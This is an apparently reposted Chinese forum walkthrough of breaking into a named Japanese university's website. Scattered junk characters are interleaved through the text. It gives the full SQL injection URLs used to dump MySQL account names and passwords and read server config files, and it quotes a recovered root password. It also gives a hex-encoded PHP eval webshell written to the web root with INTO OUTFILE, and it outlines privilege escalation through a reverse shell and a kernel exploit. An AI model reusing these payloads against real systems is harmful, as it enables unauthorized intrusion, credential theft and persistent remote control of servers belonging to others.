入侵日本同志社大学技术分析. J# X9 X% {8 `7 ?
( C8 `' l- z* h8 |3 W9 L6 _9 P! @http://www.doshisha.ac.jp/chs/news/index.php?i=-1+ t$ p. q, Q, H8 g' H
然后联合查询,猜字段,查版本,查密码,读取文件…….就是各种查啊,语句是:4 ?9 ?. n) w2 _% E. l8 U8 n. o
4 x3 X5 Y4 {+ w* U
http://www.doshisha.ac.jp/chs/news/index.php?i=-1+union+select+1,@@datadir,3,load_file(‘/etc/httpd/conf/httpd.conf’),5,group_concat(DISTINCT+user,0x3a,password,0x3a,file_priv,0x3a,host),7,8+from+mysql.user/ g1 s3 H3 Y) M
+ ]6 f, Y. o, L/ G+ Q" H 0 e5 r' \" j8 ?! q2 h8 E6 y1 I0 c* h
, x: R/ I0 a ] h* S# r, n0 P
//@@datadir为数据库文件路径 / T6 F5 u9 `" V/ j- v6 W Y; P
( [8 _) Z. C# I0 r# p3 f% M0 d! K3 k/ T3 k9 u( `
//load_file读取网站容器apache的配置文件 5 Z# H" v( a5 W/ k, r ?
' x; |: Z, f# ]6 E: G: w# Z( c$ w3 W# p: _9 ^
//group_concat读取MySQL管理员的名字、密码、是否允许读写文件和允许登录的远程计算机
- w$ d9 u; X5 h/ V2 X! j, | d复制代码3 D# T( B, r; Z* {" b% O1 S3 h0 l
; n9 R E0 A4 Y虽然解得MySQL的root账户密码为mysql00,但是host为localhost,只允许本机登陆,所以用处不大。
3 N" Q& Z: R9 V) ]# P# x, j# w! J+ @8 x5 q& H- \8 G+ A
而且Apache的配置文件显示,服务器拒绝非该大学的ip访问/admin/和phpMyAdmin,所以即使爆出管理员账户密码也没用。; f' `1 y: F/ h Q+ F4 J9 k- x
(大家对以上各种查和语句不太懂的可以参考以下文章:http://bbs.blackbap.org/thread-2243-1-1.html)4 b2 b8 V b/ s
* j! J+ k- ?/ k- {8 {前面load_file是因为发现了各文件夹权限限制的死,不允许外校ip登陆,所以就猜了一下apache的配置文件绝对路径为默认,后来发现还真的是默认的路径。# i& {, a2 i+ i
如果知道怎么猜apache配置文件的路径的请参考以下文章:http://bbs.blackbap.org/thread-2242-1-1.html
9 Y9 Z+ I* B% f! X& ]( T$ l8 i4 c- t! A* V/ B7 C% Q- V) s
既然已经知道了Apache的配置文件的内容,我们也就轻易知道了网站物理路径,路径为:/http/www/koho/
# \3 h$ e: G" C- ]虽然/admin和phpMyAdmin的目录都限制了,但是想了想,我们只要有注入点就可以可以写入shell了,因为php的GPC为off,怎么判断为off我就不说了。7 o8 `, e- K; S7 h9 O
直接写一句话:
1 S! w. C2 u3 a6 ?- @1 D3 b
1 P2 Z7 P. l; B8 r% ?8 Z: uhttp://www.doshisha.ac.jp/chs/news/index.php?i=-1+union+select+ 0x3C3F70687020406576616C28245F504F53545B27636D64275D293B3F3E,0x3c3f2f2a,3,4,5,6,7,0x2a2f3f3e+into+outfile+’/http/www/koho/english/engnews_img/aa.php’#
3 S" R& t8 ?* P- C9 X% u9 @6 q H4 Z- \+ @( N5 u* W
7 ]8 m% P* G- T) o4 H
5 M, O3 g+ D K+ a7 ?1 b//最后的#是为了闭合前面的语句
3 D8 Y" f) ]* m$ }& S
+ j4 {- ?9 v. @2 x; t3 S+ N4 l2 M
/*其中的0x3C3F70687020406576616C28245F504F53545B27636D64275D293B3F3E # `! h* s* V1 R
3 c! l! j) s j4 l
" W: O( x2 p) s' l+ D, ~, w3 Y2 ]为一句话<?php @eval($_POST['cmd']);?>的HEX编码,不懂(HEX编码)的话Google一下就好*/
& O7 A8 R& l* f9 E2 V7 |! M0 j ; N+ n6 x6 T* W0 |4 y4 a! N% j
/ d; W X$ i3 K5 w: { t% x9 b7 {
//如果直接select 一句话 into outfile ‘路径’会提示字段数不同,所以select 1,2,3,4…来执行注入语句
j# N1 L1 n. |$ `/ F 2 x( X8 O' n% `
: r1 B6 \# B- c, S//后面的0x3c3f2f2a和0x2a2f3f3e分别为’<?php //’的和’?>’HEX因为select后面的3,4,5,6会被写入webshell中,可能会导致一句话执行错误 # i1 J# j3 ~ L6 ]* f
//所以最后aa.php的内容就是”<?php @eval($_POST['cmd']);?><?php //3,4,5,6,7 ?>” / I, T! P" w: G0 O% w
复制代码8 [ Y, x2 N7 l
$ i" E: T5 U4 `- P7 r( R# bHEX其实就是十六进制编码,不知道这个编码的话,去搜一下好了,HEX编码转换在线本地各种工具各种有
/ K* Y( t2 d& t E; _+ }: b通过上述注入语句,我们就得到了一句话木马:
6 b+ |6 u/ ], C4 B" K+ Y
. F" v: [1 ~ Z9 C2 i9 t 3 f" [/ {( U( Y
) J+ F/ Q4 A4 ^! I) b4 E
: K1 Y+ Q6 j' f
2 @3 c# Z5 ]' L8 whttp://www.doshisha.ac.jp/english/engnews_img/aa.php
8 G8 j6 L% S. p" A复制代码
# x9 r! ~, H5 ]' H" K% S2 @
, ?" o; D0 c8 L用菜刀连接,密码是cmd,如图所示:( a7 _0 _0 X: ^) p/ } i
然后在命令提示行里看了一下,现在的权限是:8 H. v& y1 t) u$ c( U3 ?
7 [( S5 R7 s; ~* P; t- J- {之后按照惯例我看了一下/tmp/文件夹,发现/TMP/权限居然被禁掉了,很少有服务器禁掉这个文件夹的。
* Z( R( N. E9 _好在赋权给这个文件夹不需要root,直接执行赋权语句:
9 K) y1 k; q$ K( d, P
- Q- |* ~' L- L0 \9 K0 j1 [" h" J
K5 P8 v& {' u# t
7 j1 { c- ^# D9 F$ @& A+ m ; v% t& @7 l4 H1 M/ x1 N6 J
- O4 ~8 A% a% p; d5 M& w- z
chmod +x /tmp/
3 r1 Z: O$ ]# F ?) X" A复制代码0 O8 p/ h" o0 Z7 L6 l
F0 W. P- D8 t$ t0 ]1 g1 ^
在这说一下,linux里面的文件夹跟文件一样,执行命令自然也可以按照像文件一样的执行
# [( \, j) A/ o- m9 ~- G3 y然后就查了一下内核版本:8 r1 w6 `" a/ P+ S0 G
" F ?( C, O2 u
) m( C6 R+ R1 r2 S9 M2 t) {- R4 u* T8 p3 Q# g6 Z3 l% v
0 m, Q. a6 B- X! b3 V+ f8 C
( s5 I- W" u1 A5 O; ^+ D* _1 Buname-a + I3 \1 m2 \; D
c7 x9 \5 s$ _& L! O2 }( b& p# Y$ m0 _/ ?0 J
//其实lsb_release -a
/ w, x: Z! w c9 Q复制代码
( _1 J9 w2 M/ L; y1 h
8 b( b4 P2 H( {% r, W如图所示:
3 S4 |. _4 X5 [" Z( Z5 q( f @! C5 l# l/ M
内核版本:linux mainz1 2.6.28-194.e15
, P4 i6 y! }5 T9 ^$ Q系统描述为:Red Hat Enterprise Linux Server release 5.5 (Tikanga)
. d7 _4 s w2 A! p# [% q查完了系统版本之后就去找找相应的提权脚本!~然后传到/tmp/文件夹5 n) E5 p) Q' S4 x- ^
" n' O8 f9 p; t0 s8 F
然后给予执行权限
* w- M) _- O, j* T2 c* g' H0 m, e3 r一般我都是传上去c源文件,然后”gcc -o /tmp/程序 /tmp/C源码”这样,如果gcc不能用,在其他机器编译好了直接传上去其实也可以,就像这样" F1 I6 [$ u0 e) i
' g% {2 ?2 e1 C- Z: V) i* [- C ! J$ W5 X; n2 f7 B( c4 A/ b
$ X1 f1 |" n% b8 g4 _
7 Y. ~, S: k2 I' `: B x
1 h3 P% L8 Z& V- C) U! z% }chmod +x /tmp/2.6.18-194
1 I4 }* v: \# l# V% v复制代码 然后直接执行!~
: N/ s* [7 E4 J, _! a% \0 p- p9 I# U: h
总结:5 \8 I2 J5 `" k
这个注入点的基本思路就是,发现MySQL账户为root,GPC设置为off,搞到了物理路径就直接写Webshell了2 Q! V6 F# [6 V7 t/ f6 F
提权部分原理就是,本地监听端口,将对方机器反弹回cmdshell来,然后把和内核版本对应的EXP传上去,编译运行,得到root* m' G0 o; l4 R* }' m. o$ w
3 ]! z/ ~% }9 @
|